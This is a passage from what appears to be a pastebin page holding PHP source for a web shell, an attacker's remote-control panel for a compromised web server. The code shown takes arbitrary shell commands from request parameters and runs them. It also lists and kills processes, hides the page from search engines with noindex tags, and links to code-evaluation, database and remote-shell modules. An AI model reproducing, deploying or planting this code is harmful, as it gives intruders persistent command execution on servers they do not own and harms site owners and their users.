  1957.                         foreach($psln as $p) $s_result .= "<th>".trim(trim(strtolower($p)),"\"")."</th>";
  1958.                         $s_result .= "</tr>";
  1959.                     }
  1960.                     else{
  1961.                         $psln = explode($wexplode,$psa,$wcount);
  1962.                         $s_result .= "<tr>";
  1963.                         $tblcount = 0;
  1964.                         foreach($psln as $p){
  1965.                             if(trim($p)=="") $p = "&nbsp;";
  1966.                             if($tblcount == 0){
  1967.                                 $s_result .= "<td style='text-align:center;'><a href='".$s_self."ps&pid=".trim(trim($psln[1]),"\"")."'>kill</a></td>
  1968.                                         <td style='text-align:center;'>".trim(trim($p),"\"")."</td>";
  1969.                                 $tblcount++;
  1970.                             }
  1971.                             else{
  1972.                                 $tblcount++;
  1973.                                 if($tblcount == count($psln)) $s_result .= "<td style='text-align:left;'>".trim(trim($p),"\"")."</td>";
  1974.                                 else $s_result .= "<td style='text-align:center;'>".trim(trim($p),"\"")."</td>";
  1975.                             }
  1976.                         }
  1977.                         $s_result .= "</tr>";
  1978.                     }
  1979.                 }
  1980.             }
  1981.             $s_result .= "</table>";
  1982.         }
  1983.     }
  1984.     else{
  1985.         if(isset($_REQUEST['cmd'])){
  1986.             $cmd = ss($_REQUEST['cmd']);
  1987.             if(strlen($cmd) > 0){
  1988.                 if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){
  1989.                     $nd = trim($r[2]);
  1990.                     if(is_dir($nd)){
  1991.                         chdir($nd);
  1992.                         $cwd = cp(getcwd());
  1993.                         $s_result .= showdir($cwd);
  1994.                     }
  1995.                     elseif(is_dir($cwd.$nd)){
  1996.                         chdir($cwd.$nd);
  1997.                         $cwd = cp(getcwd());
  1998.                         $s_result .= showdir($cwd);
  1999.                     }
  2000.                     else $s_result .= "<p class='notif'>".$nd." is not a directory"."</p>";
  2001.                 }
  2002.                 else{
  2003.                     $s_r = hss(exe($cmd));
  2004.                     if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
  2005.                     else $s_result .= showdir($cwd);
  2006.                 }
  2007.             }
  2008.             else $s_result .= showdir($cwd);
  2009.         }
  2010.         else{
  2011.             $s_result .= showdir($cwd);
  2012.         }
  2013.     }
  2014.  
  2015.     // print useful info
  2016.     $s_info  = "<table class='headtbl'><tr><td>".$s_system."</td></tr>";
  2017.     $s_info .= "<tr><td>".$s_software."</td></tr>";
  2018.     $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class='gaya'> | </span>your   ip : ".$s_my_ip;
  2019.     $s_info .= "<span class='gaya'> | </span> Time @ Server : ".@date("d M Y H:i:s",time());
  2020.     $s_info .= "
  2021.         </td></tr>
  2022.         <tr><td style='text-align:left;'>
  2023.             <table class='headtbls'><tr>
  2024.             <td>".trim($letters)."</td>
  2025.             <td>
  2026.             <span id='chpwd'>
  2027.             &nbsp;<a href=\"javascript:tukar('chpwd','chpwdform')\">
  2028.             <img height='16px' width='16px' src='".$s_self."favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />
  2029.             &nbsp;&nbsp;</a>".swd($cwd)."</span>
  2030.             <form action='".$s_self."' method='post' style='margin:0;padding:0;'>
  2031.             <span class='sembunyi' id='chpwdform'>
  2032.             &nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">
  2033.             <img height='16px' width='16px' src='".$s_self."favicon' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />
  2034.             </a>&nbsp;&nbsp;
  2035.             <input type='hidden' name='cd' class='inputz' style='width:300px;' value='".cp($cwd)."' />
  2036.             <input type='text' name='view' class='inputz' style='width:300px;' value='".$cwd."' />
  2037.             <input class='inputzbut' type='submit' name='submit' value='view file / folder' />
  2038.             </form>
  2039.             </span>
  2040.             </td></tr>
  2041.             </table>
  2042.         </td></tr>
  2043.         </table>";
  2044.  
  2045.    
  2046.    
  2047. }
  2048.  
  2049. ?><!DOCTYPE html>
  2050. <html>
  2051. <head>
  2052. <title><?php echo $s_title; ?></title>
  2053. <meta name='robots' content='noindex, nofollow, noarchive'>
  2054. <link rel='SHORTCUT ICON' href='<?php echo $s_self; ?>favicon'>
  2055. <link href='http://fonts.googleapis.com/css?family=Ubuntu+Mono' rel='stylesheet' type='text/css'>
  2056. <style type='text/css'><?php echo gzinflate(base64_decode($style)); ?></style>
  2057. <script type='text/javascript' src='<?php echo $s_self; ?>sorttable'></script>
  2058. <script type='text/javascript'>
  2059. var d = document;
  2060. var hexstatus = false;
  2061. window.onload=function(){
  2062.     init();
  2063.     var textareas = d.getElementsByTagName('textarea');
  2064.     var count = textareas.length;
  2065.     for(i=0;i<count;i++){
  2066.         textareas[i].onkeydown = function(e){
  2067.             if(e.keyCode==9){
  2068.                 e.preventDefault();
  2069.                 var s = this.selectionStart;
  2070.                 this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
  2071.                 this.selectionEnd = s+1;
  2072.             }
  2073.             else if((e.keyCode == 10 || e.keyCode == 13) && event.ctrlKey){
  2074.                 this.form.submit();
  2075.             }
  2076.         }
  2077.     }
  2078. }
  2079. function init(){
  2080.     <?php if(isset($_REQUEST['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?>
  2081.     <?php if(isset($_REQUEST['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?>
  2082.     <?php if(isset($_REQUEST['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?>
  2083.     <?php if(isset($_REQUEST['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?>
  2084. }
  2085. function tukar(l,b){
  2086.     if(d.getElementById(l)) d.getElementById(l).style.display = 'none';
  2087.     if(d.getElementById(b)) d.getElementById(b).style.display = 'block';
  2088.     if(d.getElementById(l + '_')) d.getElementById(l + '_').focus();
  2089. }
  2090. function toggle(b){
  2091.     if(d.getElementById(b)){
  2092.         if(d.getElementById(b).style.display == 'block') d.getElementById(b).style.display = 'none';
  2093.         else d.getElementById(b).style.display = 'block'
  2094.     }
  2095. }
  2096. function clickcmd(){
  2097.     var buff = d.getElementById('cmd');
  2098.     if(buff.value == '- shell command -') buff.value = '';
  2099. }
  2100. function download(what){
  2101.     what.form.submit();
  2102.     what.selectedIndex=0;
  2103. }
  2104. function go(t,evt){
  2105.     if(evt.which === 3 || evt.button === 2) return false;
  2106.     var u = (d.all) ? d.selection.createRange().text : d.getSelection();
  2107.     if(u && u.toString().length==0) window.location=t;
  2108.     return false;
  2109. }
  2110. function hexfix(t,ev){
  2111.     var r = d.getElementById('hex_'+t);
  2112.     var q = d.getElementById('dump_'+t);
  2113.     var curpos = getcurpos(r);
  2114.  
  2115.     if(ev.keyCode==13 || ev.keyCode==46 || ev.keyCode==8 || ev.keyCode==32) return false;
  2116.     //down
  2117.     if(ev.keyCode==40){
  2118.         var s = d.getElementById('hex_'+(parseInt(t)+1));
  2119.         if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
  2120.         return false;
  2121.     }//up
  2122.     if(ev.keyCode==38){
  2123.         var s = d.getElementById('hex_'+(parseInt(t)-1));
  2124.         if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
  2125.         return false;
  2126.     }
  2127. }
  2128. function hexupdate(t,ev){
  2129.     var r = d.getElementById('hex_'+t);
  2130.     var s = d.getElementById('dump_'+t);
  2131.     var k = String.fromCharCode(ev.keyCode);
  2132.     var a = '0123456789ABCDEF';
  2133.     var hexs = r.value;
  2134.     var hex = hexs.replace(/\s+/ig,'');
  2135.     var curpos = getcurpos(r);
  2136.  
  2137.     clearpos();
  2138.     if(curpos%3!=2){
  2139.         if(a.indexOf(k)>=0 && curpos<hexs.length){
  2140.             chr = hexs.substr(curpos,1);
  2141.             before = (curpos>=1)?  hexs.substr(0,curpos):'';
  2142.             after = (curpos<hexs.length)? hexs.substr(curpos+1):'';
  2143.             r.value = before + k + after;
  2144.             setcurpos(r,curpos+1,curpos+1);
  2145.         }
  2146.     }
  2147.  
  2148.     if(r && s){
  2149.         var str = '';
  2150.         hexs = r.value;
  2151.         hex = hexs.replace(/\s+/ig,'');
  2152.         for(var i=0;i<hex.length;i+=2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
  2153.  
  2154.         str = str.replace(/[^\x21-\x7E]/ig,'.');
  2155.         str = str.replace('<','&lt;')
  2156.         str = str.replace('>','&gt;')
  2157.  
  2158.         dmppos = Math.floor(curpos/3);
  2159.         chr = str.substr(dmppos,1);
  2160.         before = (dmppos>=1)? str.substr(0,dmppos):'';
  2161.         after = (dmppos<str.length)? str.substr(dmppos+1):'';
  2162.         finalstr = before + "<span class='gaya' style='background:#000;font-weight:bold;border-bottom:1px solid #fff;border-top:1px solid #fff;'>" + chr + "</span>" + after;
  2163.         s.innerHTML = finalstr;
  2164.     }
  2165. }
  2166. function submithex(){
  2167.     if(!hexstatus){
  2168.         hexstatus=true;
  2169.         var hexstr = '';
  2170.         var counter = d.getElementById('counter').value;
  2171.         for(var i=0;i<counter;i++){
  2172.             var hex = d.getElementById('hex_'+i);
  2173.             hexstr+=hex.value;
  2174.             hex.remove();
  2175.         }
  2176.         hexstr = hexstr.replace(/\s+/g,'');
  2177.         var hexestxtarea = d.getElementById('hexestxtarea');
  2178.         hexestxtarea.innerHTML = hexstr;
  2179.         hexestxtarea.form.submit();
  2180.     }
  2181. }
  2182. function evalselect(e){
  2183.     var a = d.getElementById('additionaloption');
  2184.     var b = d.getElementById('gccoption');
  2185.     if(a){
  2186.         if(e.value=='php') a.className='sembunyi';
  2187.         else a.className='';
  2188.         if(b) gccoption.value ='';
  2189.     }
  2190. }
  2191. function getcurpos(c){
  2192.     var p = 0;
  2193.     if(d.selection){
  2194.         c.focus ();
  2195.         var Sel = d.selection.createRange();
  2196.         Sel.moveStart ('character', -c.value.length);
  2197.         p = Sel.text.length;
  2198.     }
  2199.     else if(c.selectionStart || c.selectionStart == '0')
  2200.         p = c.selectionStart;
  2201.     return p;
  2202. }
  2203. function setcurpos(c,p1,p2){
  2204.     if(c.setSelectionRange){
  2205.         c.focus();
  2206.         c.setSelectionRange(p1,p2);
  2207.     }
  2208.     else if(c.createTextRange){
  2209.         var r = c.createTextRange();
  2210.         r.collapse(true);
  2211.         r.moveStart('character', p1);
  2212.         r.moveEnd('character', p2);
  2213.         r.select();
  2214.     }
  2215. }
  2216. function clearpos(){
  2217.     var a = d.getElementsByName('hexdump');
  2218.     for(var i=0;i<a.length;i++){
  2219.         a[i].innerHTML = a[i].innerHTML.replace(/<[^>]+>/ig,'');
  2220.     }
  2221. }
  2222. function findtype(ty){
  2223.     var z = d.getElementById('type');
  2224.     if(z && (ty=='sdir')) z.selectedIndex = 1;
  2225.     else if(z && (ty=='sfile')) z.selectedIndex = 0;
  2226. }
  2227. </script>
  2228. </head>
  2229. <body>
  2230. <table id='main'><tr><td>
  2231. <?php if($s_auth){?>
  2232.     <div><span style='float:right;'><a href='<?php echo $s_self; ?>logout'>log out</a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>'><?php echo $s_name; ?></a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'><?php echo $s_ver; ?></div></td></tr></table></td>
  2233.     <td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table>
  2234.     </div>
  2235.     <div style='clear:both;'></div>
  2236.     <div id='menu'>
  2237.         <table style='width:100%;'><tr>
  2238.         <td><a href='<?php echo $s_self; ?>' title='Explorer'><div class='menumi'>xpl</div></a></td>
  2239.         <td><a href='<?php echo $s_self; ?>ps' title='Display process status'><div class='menumi'>ps</div></a></td>
  2240.         <td><a href='<?php echo $s_self; ?>eval' title='Execute code'><div class='menumi'>eval</div></a></td>
  2241.         <td><a href='<?php echo $s_self; ?>info' title='Information about server'><div class='menumi'>info</div></a></td>
  2242.         <td><a href='<?php echo $s_self; ?>db' title='Connect to database'><div class='menumi'>db</div></a></td>
  2243.         <td><a href='<?php echo $s_self; ?>rs' title='Remote Shell'><div class='menumi'>rs</div></a></td>
  2244.         <td style='width:100%;padding:0 0 0 6px;'>
  2245.         <form action='<?php echo $s_self; ?>' method='post'><span class='prompt'><?php echo $s_prompt; ?></span>
  2246.         <input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
  2247. if(isset($_REQUEST['cmd'])) echo "";
  2248. else echo "- shell command -";
  2249. ?>' />
  2250.         <noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript>
  2251.         </form>
  2252.         </td>
  2253.         </tr>
  2254.         </table>
  2255.     </div>
  2256.     <div id='content' id='box_shell'>
  2257.         <div id='result'><?php echo $s_result; ?></div>
  2258.     </div><?php }
  2259. else{ ?>
  2260.     <div style='width:100%;text-align:center;'>
  2261.  
  2262.     <form action='<?php echo $s_self; ?>' method='post'>
  2263.     <img src='<?php echo $s_self; ?>favicon' style='margin:2px;vertical-align:middle;' />
  2264.     <?php echo $s_name; ?>&nbsp;<span class='gaya'><?php echo $s_ver; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
  2265.     <input class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' />
  2266.     </form>
  2267.     </div>
  2268.  
  2269. <?php } ?>
  2270. </td></tr></table>
  2271. <p class='footer'>Jayalah Indonesiaku &copy;<?php echo @date("Y",time())." ".$s_name; ?></p>
  2272. </body>
  2273. </html><?php die(); ?>
Add Comment
Please, Sign In to add comment